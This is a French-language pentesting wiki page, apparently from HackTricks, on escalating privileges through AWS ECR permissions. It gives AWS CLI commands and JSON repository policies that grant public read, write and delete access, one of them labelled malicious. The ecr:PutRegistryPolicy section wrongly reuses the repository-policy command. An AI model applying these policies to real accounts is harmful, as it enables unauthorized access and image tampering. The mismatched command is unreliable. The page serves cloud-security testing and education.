# AWS - ECR Privesc

{{#include ../../../banners/hacktricks-training.md}}

## ECR

### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

Un attaquant avec le **`ecr:GetAuthorizationToken`** et **`ecr:BatchGetImage`** peut se connecter à ECR et télécharger des images.

Pour plus d'infos sur comment télécharger des images :

{{#ref}}
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}

**Impact potentiel :** Privesc indirect en interceptant des informations sensibles dans le trafic.

### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

Un attaquant avec toutes ces permissions **peut se connecter à ECR et télécharger des images**. Cela peut être utile pour élever les privilèges vers d'autres environnements où ces images sont utilisées.

Pour apprendre comment télécharger une nouvelle image/mette à jour une, consultez :

{{#ref}}
../aws-services/aws-eks-enum.md
{{#endref}}

### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

Comme la section précédente, mais pour les dépôts publics.

### `ecr:SetRepositoryPolicy`

Un attaquant avec cette permission pourrait **changer** la **politique** du **dépôt** pour se donner (ou même à tout le monde) **un accès en lecture/écriture**.\
Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
Contenu de `my-policy.json` :
```json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
### `ecr-public:SetRepositoryPolicy`

Comme la section précédente, mais pour les dépôts publics.\
Un attaquant peut **modifier la politique du dépôt** d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour élever ses privilèges.
```bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Impact potentiel** : Accès public non autorisé au dépôt ECR Public, permettant à tout utilisateur de pousser, tirer ou supprimer des images.

### `ecr:PutRegistryPolicy`

Un attaquant avec cette permission pourrait **changer** la **politique de registre** pour se donner, à son compte (ou même à tout le monde) un **accès en lecture/écriture**.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
{{#include ../../../banners/hacktricks-training.md}}
